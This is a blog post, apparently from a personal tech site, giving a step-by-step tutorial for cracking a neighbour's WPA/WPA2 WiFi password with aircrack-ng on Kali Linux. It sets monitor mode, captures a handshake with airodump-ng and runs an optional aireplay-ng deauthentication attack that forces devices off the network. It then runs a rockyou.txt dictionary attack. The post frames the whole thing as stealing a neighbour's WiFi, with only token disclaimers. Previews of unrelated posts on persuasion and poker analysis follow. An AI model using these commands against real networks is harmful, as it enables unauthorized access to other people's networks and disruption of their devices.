Skip to main content

Hacking WiFi passwords using aircrack-ng (Kali/other linux)

Hacking.. Wouldn't it be great if you can hack you neighbours wifi password and use that for rest of your life. Yeah it would be.. But there is a problem if they find out you can end up in jail. But for the purpose of your curosity I will tell you how can you hack the wifi password using Kali Linux. But use this only for the purpose of your curosity as it is a voilation of somebodies privacy. We don't recommend using this on strangers/friends/neighbours.. anybody.


Requirements:
  • Linux (I used Kali) - if you don't have Kali use this link 
  • aircrack-ng (apt-get install aircrack-ng)
  • Word dictionary (https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt)
I recommend installing/downloading them before you begin as the connection is lost when you begin the process.

Step 1: Open the terminal. Install aircrack
sudo apt-get install aircrack-ng
Complete the installation

Step 2:  Type airmon-ng command prompt. You will see the interfaces. Mostly it is wlan0

Step 3: Then type airmon-ng start wlan0, replace wlan0 with your interface name.


Step 4: Type iwconfig, to enable monitor mode interface. Then type airmon-ng check kill, this will kill all the processes that are raising a conflict. Also check the name of your monitor interface (usually mon0 or wlan0mon). In my case it was wlan0mon.

Step 5: Then use command airodump-ng wlan0mon. It will display all the router nearby. Select the router you want to hack. And copy its MAC id and channel number.

Step 6: Use this command to monitor the network for handshake.
airodump-ng -c <channel> --bssid <MAC> -w /root/Desktop/ wlan0mon
Replace:
  • <channel> with the channel number of the router
  • <MAC> with the mac address of the router
This will start the handshake process, now you have to just wait for device to connect to the router.

Step 7: (Deauth Attact, optional) If you impatient like me, you can use Deauth Attack. It will disconnect the device which is already connected to router and the device will connect again proving you the required information to hack the password. Just type on another terminal window

aireplay-ng -0 2 -a <MAC-router> -c <MAC-device> wlan0mon
Replace:
  • <MAC-router> with MAC address of router
  • <MAC-device> with MAC address of the device
*all the details will be on the airodump-ng window. Close the terminal after this

Step 8: Once "WPA handshake: " followed by MAC address of the router appears on upper-right of the airodump-ng terminal, you can close airodump-ng by pressing Ctrl+C.

Step 9: Go to desktop, there will be four new files. Rename *.csv file. mv ./-01.cap name.cap. Then download the wordlist file by using this command curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt

Step 10: Using aircrack to crack the password,
aircrack-ng -a2 -b <MAC> -w rockyou.txt name.cap
Replace:
  • <MAC> with the mac of the router
  • use -a instead of -a2 for WPA. -a2 is used for WPA2.
If the password is in the wordlist, it will be displayed on the terminal window. Congrats!! You have hacked the your neighbours wifi.

Comments

Popular posts from this blog

Social Influence: Some tips and tricks

In our previous posts, we have learnt about some of the techniques in Social Psychology. Now in this post I want to tell you about some techniques that you can use in real life to influence people or to protect yourself from being influence by other people and make rash decisions. Some of the tips are: People more likely to help you when you ask them to imagine or predict doing something. Telling some stranger your name first can also be helpful when asking a favour. One can say “Hello, I am ___ and I was wondering whether you do me a favour.” Talking with people is more helpful that talking at people when asking for something/favour. Engaging people in dialogues rather than a monologue. Now I would like to tell you about the most commonly used persuasion techniques. These techniques are: 1.       Foot-in-the-door technique 2.       Door-in-the-face technique 3.       Low-ball technique N...

Poker Analysis using Python (numpy and pandas)

In this I did an analysis on poker. I made my own dataset by randomly selecting 7 cards from the dataset. It does not gives the actual results. It is more of a simulation of actual data. I have used jupyter-notebook for this you can use any IDE according to your liking. Start by importing the modules. import pandas as pd import numpy as np import random import time Then I created a function calculate_hand which takes hand as a list and returns a boolean list with the corresponding values [royal_flush, straight_flush, four_of_a_kind, full_house, flush, straight, three_of_a_kind, two_pairs, pair, highcard] . If the hand has three cards of same value three_of_a_kind will be True , also pair will be True because if a hand has three of a kind, it also has a pair. Highcard always return the high card. ALL_CARDS_NUM = {'2': 2, '3': 3, '4': 4, '5': 5, '6': 6, '7': 7, '8': 8, '9': 9, 'T': 10, 'J': ...

Science of Persuation: How to persuade others?

According to wikipedia.org, Persuasion is: Persuasion is an umbrella term of influence . Persuasion can attempt to influence a person's beliefs , attitudes , intentions , motivations , or behaviors . In other words, persuasion is a process aimed at changing a person's (or a group's) attitude or behaviour toward some event, idea, object, or another person(s). Knowing some of the persuasion techniques can be very helpful for a person as this techniques can help that person to excel in life (and/or his respective field like business, study, and even relationships). So let's begin by asking these three questions and then I will tell you about Robert Cialdini 's 6 principles of persuasion. So the questions are: Should one use counter-arguments while persuading? Should you take the central route (or peripheral route) to persuasion? Should you scare the receiver of the persuasion? Answering these questions, counter-arguments can be helpful at times w...